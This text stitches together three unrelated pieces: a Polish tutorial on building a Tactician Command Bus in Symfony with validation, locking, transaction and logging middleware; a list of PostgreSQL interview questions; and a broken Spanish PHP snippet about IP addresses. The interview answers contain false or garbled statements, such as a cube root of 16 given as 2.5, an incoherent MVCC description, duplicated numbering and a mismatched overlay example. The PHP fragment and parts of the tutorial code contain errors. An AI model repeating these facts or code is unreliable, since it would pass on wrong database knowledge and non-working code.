Aby nie definiować wszystkich handlerów ręcznie, dodajmy taki wpis do naszego pliku services.yml

CommandBus\Command\: resource: "%kernel.project_dir%/src/CommandBus/Command/**/*Handler.php" tags: [{name: tactician.handler, typehints: true}]

W końcu możemy przejść do rzeczy. No więc jak działa Command Bus? Zasada jest dość prosta. Potrzebujemy prostą klasę polecenia (Command) która przyjmie konkretne dane wymagane do wykonania. Powinny być to dane proste. Nie całe encje a np. identyfikator który pozwoli tą encję wybrać z bazy. Szczegółowa implementacja może wyglądać tak jak to ustali zespół który zamierza z tego korzystać. Może być to prosty klasa z publicznymi właściwościami. Może być to klasa z samymi "geterami". Dobrze aby wymuszała ona istnieje wszystkich niezbędnych parametrów. Przykład takiej klasy:

<?php declare(strict_types=1); namespace CommandBus\Command\User\AddFriend; class AddFriendCommand { /** * @var int */ private $userId; /** * @var int */ private $firndId; public function __construct(int $userId, int $firndId) { $this->userId = $userId; $this->firndId = $firndId; } public function getUserId(): int { return $this->userId; } public function getFirndId(): int { return $this->firndId; } }

Teraz potrzebowalibyśmy czegoś co nam wykona takiego commanda. Klasy tekie niech będą miały surfix Handler zamiast Command pozwoli to na łatwe odnalezienie takiej klasy która zdefiniuje nam właśnie serwis który wykona oczekiwaną operację. Przykład takiej klasy:

<?php declare(strict_types=1); namespace CommandBus\Command\User\AddFriend; use CommandBus\Command\User\AddFriend\AddFriendCommand; use UserBundle\Entity\UserRepository; class AddFriendHandler { /** * @var UserRepository */ private $userRepository; public function __construct(UserRepository $userRepository) { $this->userRepository = $userRepository; } public function execute(AddFriendCommand $command) { $user = $this->userRepository->find($command->getUserId()); $friend = $this->userRepository->find($command->getFirndId()); $user->addFriend($friend); } }

I teraz jak wygląda wywołanie takiego polecenia. Nalezy przekazać Command do naszego CommandBus reszte załatwi zainstalowana biblioteka. Czyli:

<?php declare(strict_types=1); use League\Tactician\CommandBus; use Symfony\Component\HttpFoundation\Request; use CommandBus\Command\User\AddFriend\AddFriendCommand; class UserController { private $commandBus; public function __construct(CommandBus $commandBus) { $this->commandBus = $commandBus; } public function addFriend(Request $request) { $command = new AddFriendCommand( $request->request->get('userId'), $request->request->get('friendId') ); $this->commandBus->handle($command); return $this->json([]); } }

Domyślnie command zostanie wykonany natychmiastowo. Czyli poniżej moglibyśmy pobrać listę znajomych i powinna ona być wzbogacona o dodanego w nim nowego znajomego. Więc jeżeli ktoś potrzebuje zwrócić od razu rezultat to może. Ale nic nie stoi na przeszkodzie by zdefiniować sobie drugi własny command bus który będzie odkładał polecenie na kolejkę. (Przykładu takiego serwisu) Do tego dodać konsumera który takie zadania będzie z kolejki ściągać i wykonywać. A przerzucenie zadania które wykonuje się za długo w kontrollerze na kolejkę sprowadzać się będzie tylko do użycia innego command busa.

I to jest podstawowe użycie i działanie. Nie jest źle ale szału nie ma. Command Bus od tactician pozwala nam na dodawanie pośredników (middleware). Co pozwala sprawić, że narzędzie to staje się jeszcze bardziej użyteczne. Obecnie proces wykonania polecenia wygląda następująco:

Dobrze jest rozdzielić warstwę kodu który wykonuje daną odperację od walidacji jego danych. Walidacja czasem jest prosta a czasem bardziej skomplikowana ale raczej zawsze jakaś jest. Dlatego spróbujmy stworzyć middleware który uruchomi walidator commanda by zweryfkować czy Command w ogóle powinien się wykonać.

Aby odróżnić błędne wywołania które zakończą się jakiś wyjątkiem. Lepiej tak zaprojektować middleware by błędy były po prostu zwracane. Może być to true/false może być to po prostu string, ale jeżeli zamierzamy mieć różne wersje językowe serwisu to lepiej niech to będzie obiekt do którego będzie można przekazać klucz t��umaczenia i predykaty. Ja na razię przekazuje po prostu treść błędu ale tu każdy powinien przemyśleć to co będzie odpowiednie do jego rojektu.

<?php declare(strict_types=1); namespace CommandBus\Middleware; use League\Tactician\Middleware; abstract class AbstractMiddleware implements Middleware { const COMMAND_SUFFIX = 'Command'; public function createServiceName(string $commandClassName, string $suffix): string { $commandSuffixLength = \strlen(self::COMMAND_SUFFIX); if (substr($commandClassName, -$commandSuffixLength) !== self::COMMAND_SUFFIX) { throw new \Exception(sprintf('Class %s is no command class', $commandClassName)); } return substr($commandClassName, 0, -$commandSuffixLength) . $suffix; } }

<?php declare(strict_types=1); namespace CommandBus\Middleware; use Symfony\Component\DependencyInjection\ContainerInterface; class ValidateMiddleware extends AbstractMiddleware { const VALIDATOR_SUFFIX = 'Validator'; /** * @var ContainerInterface */ private $container; public function __construct(ContainerInterface $container) { $this->container = $container; } /** * @return mixed * @throws \Exception */ public function execute($command, callable $next) { $validatorName = $this->createServiceName(get_class($command), self::VALIDATOR_SUFFIX); if (!$this->container->has($validatorName)) { throw new \Exception('Validator service can not be found'); } $validator = $this->container->get($validatorName); $error = $validator->validate($command); if ($error) { return $error; } return $next($command); } }

Dodajmy middleware do konfiguracji:

tactician: commandbus: default: middleware: - tactician.middleware.locking - CommandBus\Middleware\ValidateMiddleware - tactician.middleware.command_handler

Dopiszmy teraz klasę walidacji do naszego Command-a.

<?php declare(strict_types=1); namespace CommandBus\Command\User\AddFriend; use UsersBundle\Repository\UserRepository; class AddFriendValidator { public function __construct(UserRepository $userRepository) { $this->userRepository = $userRepository; } public function validate(AddFriendCommand $command): ?ValidationFailed { $user = $this->userRepository->find($command->getUserId()); if (!$user) { return new ValidationFailed('User does not exists'); } if ($user->isBanned()) { return new ValidationFailed('User is banned'); } $friend = $this->userRepository->find($command->getFirndId()); if (!$friend) { return new ValidationFailed('Friend does not exists'); } if ($user->hasFriend($friend)) { return new ValidationFailed('Users are already friends'); } } }

Proces działania naszych poleceń wygląda teraz tak:

Fajnie by było aby wszystkie Polecenia były zamknięte w transakcje. Jeżeli programista nie będzie musiał o tym pamiętać to jest szansa, że ochroni to nas przed kilkoma, czasem przykrymi w skutkach problemami. Zobaczmy jak taki middleware dodający transakcje mógłby wyglądać:

<?php declare(strict_types=1); namespace CommandBus\Middleware; use Doctrine\DBAL\Connection; use Doctrine\ORM\EntityManager; class TransactionMiddleware extends AbstractMiddleware { /** * @var EntityManager */ private $entityManager; public function __construct(EntityManager $entityManager) { $this->entityManager = $entityManager; } /** * @throws \Doctrine\Common\Persistence\Mapping\MappingException * @throws \Exception */ public function execute($command, callable $next) { $this->entityManager->getConnection()->setTransactionIsolation(Connection::TRANSACTION_READ_COMMITTED); $this->entityManager->beginTransaction(); try{ $error = $next($command); if ($error) { $this->entityManager->clear(); $this->entityManager->rollback(); return $error; } $this->entityManager->flush(); $this->entityManager->commit(); } catch (\Exception $exception) { $this->entityManager->clear(); $this->entityManager->rollback(); throw $exception; } } }

Dodajemy go do konfiguracji:

tactician: commandbus: default: middleware: - tactician.middleware.locking - CommandBus\Middleware\TransactionMiddleware - CommandBus\Middleware\ValidateMiddleware - tactician.middleware.command_handler

Teraz proces działania naszych poleceń wygląda tak:

Gdy mamy operacje zamknięte w transakcje może wystąpić problem, że w trakcie trwania naszej transakcji encja zmieni stan na taki który już by nie przeszedł walidacji. Lub inne zadanie zablokuje rekordy w innej kolejności co spowoduje zablokowanie się zadań nawzajem. Zminimalizować wystąpienie tego problemu można blokując samemu rekordy wykonująć zapytanie SELECT FOR UPDATE. Jako, że mieszanie technikali z logiką biznesową nie jest najlepszym pomysłem zróbmy middleware który wywoła serwis w razie potrzeby i zablokuje sobie na czas transakcji odpowiednie rekordy. Przykład takiego middleware mógłby wyglądać tak:

<?php declare(strict_types=1); namespace CommandBus\Middleware; use Symfony\Component\DependencyInjection\ContainerInterface; class LockingStrategyMiddleware extends AbstractMiddleware { const LOCKER_SUFFIX = 'Locker'; /** * @var ContainerInterface */ private $container; public function __construct(ContainerInterface $container) { $this->container = $container; } /** * @return mixed * @throws \Exception */ public function execute($command, callable $next) { $lockerName = $this->createServiceName(get_class($command), self::LOCKER_SUFFIX); if ($this->container->has($lockerName)) { $lockingStrategyService = $this->container->get($lockerName); $lockingStrategyService->lock($command); } return $next($command); } }

Dodajemy middleware do konfiguracji:

tactician: commandbus: default: middleware: - tactician.middleware.locking - CommandBus\Middleware\TransactionMiddleware - CommandBus\Middleware\LockingStrategyMiddleware - CommandBus\Middleware\ValidateMiddleware - tactician.middleware.command_handler

No i dodajmy klasę blokującą nasze rekordy.

<?php declare(strict_types=1); namespace CommandBus\Command\User\AddFriend; use Doctrine\ORM\EntityManager; class AddFriendLocker { /** * @var EntityManager */ private $entityManager; public function __construct(EntityManager $entityManager) { $this->entityManager = $entityManager; } public function validate(AddFriendCommand $command): void { $this->entityManager->find('UserBundle\Entity\User', $command->getUserId(), LockMode::PESSIMISTIC_WRITE); $this->entityManager->find('UserBundle\Entity\User', $command->getFirndId(), LockMode::PESSIMISTIC_WRITE); } }

Proces działania naszych poleceń wygląda teraz tak:

Możemy stworzyć dodatkowo middleware który będzie logował wywołanie każdego Command-a oraz ewentualne błedy. Wtedy bez problemu będziemy w stanie ponowić takie commandy gdy poprawimy działanie naszego kodu.

<?php declare(strict_types=1); namespace CommandBus\Middleware; use CommandBus\Command\LoggableInterface; use Psr\Log\LoggerInterface; class LoggingMiddleware extends AbstractMiddleware { /** * @var LoggerInterface */ private $logger; public function __construct(LoggerInterface $logger) { $this->logger = $logger; } /** * @param object $command * @param callable $next * * @return mixed */ public function execute($command, callable $next) { $commandInfo = [ 'class' => get_class($command), ]; try { $this->logger->info('Execute command', $commandInfo); $error = $next($command); if ($error) { $this->logger->warning( 'Command not pass validate', [ 'command' => $commandInfo, 'error' => $error, ] ); } else { $this->logger->info('Command executed', $commandInfo); } return $error; } catch (\Exception $exception) { $this->logger->error( 'Command failed', [ 'command' => $commandInfo, 'error' => $exception->getMessage(), 'stacktrace' => $exception->getTraceAsString(), ] ); throw $exception; } } }

Dodajemy middleware do konfiguracji:

tactician: commandbus: default: middleware: - tactician.middleware.locking - CommandBus\Middleware\LoggingMiddleware - CommandBus\Middleware\TransactionMiddleware - CommandBus\Middleware\LockingStrategyMiddleware - CommandBus\Middleware\ValidateMiddleware - tactician.middleware.command_handler

Teraz uzyskaliśmy taką architektórę naszego CommandBus:

Zastanówmy się teraz jaki uzyskaliśmy rezultat.

Mamy proste wejście do każdej operacji zapisu w naszej aplikacji. Bez problemu więc możemy napisać command Symfonowy który wywoła dowolny command w naszej aplikacji.

Mamy ładny obraz tego co nasz system robi. Nawet nowa osoba w zespole widząc taką listę commandów szybciej zrozumie co się dzieje w systemie niż grzebiąc i szukając po kontrolerach co gdzie jak. A tworząc kod analogicznie jest większa szansa, że będzie on spójny z resztą. W natłoku serwisów często zadarza się tak, że każdy pisze kod trochę inaczej.

Dodaliśmy transakcje do każdej opercji zapisu - nie trzeba już o tym pamiętać

Rozdzieliliśmy logikę blokowania rekordów do zapisu, walidacji oraz wykonania.

Logujemy wykonanie i niepowodzenie każdej operacji zapisu w naszym systemie.

Łatwo możemy wydelegować dowolne zadanie na kolejkę. Jaśli raz stworzymy taką wersję command bus-a. Wystarczy zmienić commandBus do którego przekażemy Command.

Dzięki ładnemu podziałowi odpowiedzialności na rózne klasy nasz kod stał się bardziej SOLID.

Będąc uczciwym trzeba powiedzieć kilka słów o wadach tego rozwiązania. Jeżeli oddzielnie pobieramy encje Lock oddzielnie w Validate i na koniec w Handler to zwiększya się ilość zapytań bazodanowych. W większości przypadków to nie będzie problem. W większości pozostałych przypadków przeniesienie zadań na kolejkę rozwiąże problem. A dla pozostałych przypadków można postarać się o modyfikacje middleware-ów i przekazywanie pobranych encji między tymi warstwami. Osobiście pracując nawet przy projektach gdzie wykonywanych było naprawdę dużo zapisów w jednym czasie. To o ile zapytania wykorzystywały indeksy to nie powodowało to większych problemów.

Drugim minusem to na pewno większa liczba klass do napisania. Jeżeli kogoś bardzo drażni tworzenie tylu klas to ten problem można rozwiązać tworząc command w cli. Przekażemy do niego nazwę commanda a on nam wygeneruje wszystkie pliki w odpowiednim katalogu.

Kiedy więc takie rozwiązanie nam się nie sprawdzi. W małych aplikacjach, czyli takich które da się ogarnąć jedną myślą w kilka minut. W aplikacjach które są czystym CRUDem. Wtedy zapewne lepszym pomysłem będzie użycie jakiejś biblioteki lub frameworka który zapewne proste zapisy i odczyty załatwi za nas. W takich przypadkach byłby to przerost formy nad treścią. W każdym innym przypadku zapewne szybko docenimy wyżej wymienione zalety. Oczywiście należy pamiętać, że to nie jedyny sposób rozwiązania omawianych tu problemów. Zawsze wprowadzając jakieś nowe rozwiązanie/wzorzec do projektu trzeba rozważyć wady i zalety.

W rozbudowywaniu procesu naszego Command Bus-a o nowe middleware ogranicza nas tylko wyobraźnia. Ale co najważniejsze robimy to raz dla wszystkich commandów i zapominamy. W naszej gestii zostanie tylko pisanie nowych Command i ich wywoływanie. Czyli dokładnie to czego dotyczą zadania. Kwestie transakcji, kolejkowania, czy logowania tego co się dzieje w systemie mamy już rozwiązane. Ciekaw jestem czy ktoś ma jakieś pomysły na inne middleware które mogłyby w czymś pomóc?

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300+ TOP PostgreSQL Interview Questions and Answers

PostgreSQL Interview Questions for freshers experienced :-

1.What is postgresql?  PostgreSQL is a most advance open source database system. PostgreSQL is an object Oriented Relational Database Management System (ORDBMS). PostgreSQL source code is available free of charge and it is not controlled by any corporation. 2.What are different advantages of Postgresql? Following are the advantages of postgresql : Reliable Stable Open source Extensible Easy to learn Cross Platform Designed for High Volume Environments Flexible Better Support 3.What are different features of Postgresql? Following are some features of Postgresql : Object relational database Extensibility and support for SQL Database validation and flexible API Procedural languages and MVCC Client server and WAL. 4.What is maximum size of table in postgresql? The postgresql has maximum size of table is 32TB. 5.What is the option that can be used in PostgreSQL to make transactions see rows affected in previous parts of the transaction? The SQL standard defines four levels of transaction isolation in terms of three phenomena that must be prevented between concurrent transactions. These undesirable phenomena are: Dirty read : A transaction reads data written by a concurrent uncommitted transaction. Nonrepeatable read : A transaction re-reads data it has previously read and finds that data has been modified by another transaction (that committed since the initial read). Phantom read : A transaction re-executes a query returning a set of rows that satisfy a search condition and finds that the set of rows satisfying the condition has changed due to another recently-committed transaction. 6.Explain Multi Version concurrency control. Multi version concurrency control or MVCC is used to avoid unnecessary locking of the database. This removes the time lag for the user to log into his database. This feature or time lag occurs when some one else is on the content. All the transactions are kept as a record. 7.How the stats updated in Postgresql? To update statistics in PostgreSQL explicit ‘vacuum’ call is made. Hope you know the method of doing this. If not let us know and we would help you.Vacuum with the option Analyze is used to update statistics in Postgresql VACUUM ANALYZE ; is the syntax. 8.What is write ahead logging in Postgresql? This feature increases the reliability of the database by logging changes before any changes or updations to the data base. This provides log of database incase of a database crash. This helps to start the work from the point it was discontinued. 9.How to start database server in postgresql? /usr/local/etc/rc.d/010.pgsql.sh start /usr/local/etc/rc.d/postgresql start 10.How to stop database server in postgresql? /usr/local/etc/rc.d/010.pgsql.sh stop /usr/local/etc/rc.d/postgresql stop

PostgreSQL Interview Questions 11.Which different languages are supported by postgresql? Some of the languages which PostgreSQL supports are as follows: It supports a language of its own known as PL/pgSQL and it supports internal procedural languages. Pl/pgSQL can be compared to oracle, PL/SQL, etc. Languages such as Perl, Python, TCL can be used as embedded languages. 12.What is purpose of overlay function in Postgresql? Overlay functions purpose is to replace substring from a specified position to a specified position. Example: Select Overlay(‘www.complexpql.com’ Placing ‘sql’ From 12 For 3) “Overlay Example” /* Result */ Overlay Example ————— www.complexsql.com 12.What is String_to_array function in postgresql? This function used to convert the specified string in to array.This functions splits a string to an array provided the delimeter is supplied. It returns an array. Syntax: String_To_Array(String,delimeter) e.g. Select String_To_Array(‘Postgresql is cool language’,’ ‘) /* Result */ string_to_array —————- {Postgresql,is,cool,language} 13.Explain about command Enable debug. This command is used for enabling compilation of all libraries and applications. This process generally slows down the system and it also increases the binary file size. Debugging symbols are present which can assist developers in noticing bugs and problems associated with their script. 14.Explain about functions in Postgresql. Functions are important because they help the code to be executed on the server. Some of the languages which can program functions for efficient use are PL/pgSQL which is the native language of PostgreSQL. Scripting languages are supported by many languages such as PHP, Perl, Python, etc. PL/R a statistical language can also be used. 15.How to find version of postgresql? To find out the version in postgresql use following command : select version(); 16.Which are different type of indexes in postgresql? There are built in functions such as B-tree, hash table, and GIST indices can be used or users can define their own indices. PostgreSQL can scan the index backwards. Expression index could be created with the result of an expression. Partial index created with addition of WHERE clause. 17.How to select first 10 records in postgresql? User needs to use the limit clause to select first n records in postgresql. Select * from tablename limit 10; 18.How to calculate cube root in postgresql? To calculate the Cuberoot use ||/ operator. Example: e.g. Select ||/ 16 “CubeRoot of 16” Result: CubeRoot of 16 —————- 2.5 19.What are Triggers in postgresql? By SQL query you can trigger an event. Triggers can be activated with the help of INSERT and UPDATE queries. These can be attached to tables. Triggers more than one can be triggered alphabetically. These triggers have the capability to invoke functions from other languages. 20.Which are different datatypes of Postgresql? There are different new datatypes supported by postgresql.Following are those datatypes : Arbitrary precision numeric’s Geometric primitives Arrays XML etc Users can create their own indexes and make them indexed. 21.Which are different database administration tools used in Postgresql? There are various data administration tools they are Psql Pgadmin Phppgadmin Most of these tools are front end administration tools and web based interfaces. Out of these phppgadmin is the most popular one. 22.What is pgadmin?Explain.(100% asked Postgresql Interview Questions ) Pgadmin forms a graphical front end administration tool. This feature is available under free software released under Artistic License. Pgadmin iii is the new database administration tool released under artistic license. 23.How to create database in postgresql? Creating a database is the primary step in creating a database. A command $createdb newdatabasedb. CREATE DATABASE This creates a new database and a message displays CREATE DATABASE which indicates that the creation of the database was successful. 24.What is Write ahead log in postgresql? write-ahead log (WAL), means it always writes the transactions to the log following with writing the modified pages to the disk to maintain the transaction ACID properties. 25.Explain about tokens in postgresql? Tokens are also known to contain several special character symbols. It can be considered as keyword, constant, identifier and quoted identifier. Keywords include pre defined SQL meanings and SQL commands. Variable names such as tables, columns, etc are represented by identifiers. These are some bery important postgresql interview questions.Hope you like this article of Postgresql Interview Questions and dont forget to comment in comment section.These postgresql interview questions are really helpful to users. 26. Explain history of postgresql. Here In this article we will discuss History Of Postgresql in detail.In MAC OS Postgresql is default database.Michel Stonebraker is Father of Postgresql who has started Post Ingres project for supporting Contemporary Database systems.PostgreSQL’s developers pronounce PostgreSQL as It is abbreviated as Postgres because of ubiquitous support for the SQL Standard among most relational databases.PostgreSQL, originally called Postgres, was created at UCB by a computer science professor named Michael Stonebraker, who went on to become the CTO of Informix Corporation. Stonebraker started Postgres in 1986 as a followup project to its predecessor, Ingres, now owned by Computer Associates. The name Postgres thus plays off of its predecessor (as in “after Ingres”). Ingres, developed from 1977 to 1985, had been an exercise in creating a database system according to classic RDBMS theory. Postgres, developed between 1986-1994, was a project meant to break new ground in database concepts such as exploration of “object relational” technologies.An enterprise class database, PostgreSQL boasts sophisticated features such as Multi-Version Concurrency Control (MVCC), point in time recovery, tablespaces, asynchronous replication, nested transactions (savepoints), online/hot backups, a sophisticated query planner/optimizer, and write ahead logging for fault tolerance. PostgreSQL Questions and Answers Pdf Download Read the full article

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PHP IP

[Noviembre 1 2017]

$_SERVER['REMOTE_ADDR'] 

Dirección ip para que la guarde en la base de datos

$n = 3864179024;

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$b = substr($n,8,1);

if($a%2==0){

    if(&b%2==0){

         //lo de la tabla

}

}

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